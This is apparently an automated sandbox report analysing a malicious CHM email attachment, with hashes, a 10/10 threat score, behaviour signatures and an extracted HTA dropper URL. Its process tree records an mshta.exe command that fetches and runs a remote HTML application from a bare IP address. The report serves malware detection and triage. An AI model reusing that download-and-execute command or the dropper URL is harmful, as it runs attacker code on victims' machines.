Analysis

  • max time kernel
    135s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-03-2023 23:32

General

  • Target

    MAIL_20230125151802.chm

  • Size

    10KB

  • MD5

    45bd3001517f5e913ddde83827f4cc29

  • SHA1

    710a7d78c4bbca17d6cefce8c392e7d358c37a8d

  • SHA256

    c80fbab8c27cb9be91885a470377088d6639b95b85dfe5ae3c346e537b143a87

  • SHA512

    c2dcf7d3d6e1353fe6259e326517c07c2e168bc83c0847c293d15d2a0fcc0bbec31506de2347b45a6455465d88a27bde68179352c4473a8eac7ce63b3581bb75

  • SSDEEP

    48:U5yGg202QRlEFlErlElZO5sD7GH6N6xWX3VGJtihAxkNzY94ApKSE7HWVMjUBxBD:U5y6khHq6UMl94A0AMjUBxBjR7UyEf0

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://141.105.65.165/data/3.html

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\hh.exe
    "C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\MAIL_20230125151802.chm
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4656
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" http://141.105.65.165/data/3.html ,
      2⤵
      • Blocklisted process makes network request
      PID:4424

Network

MITRE ATT&CK Matrix

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Downloads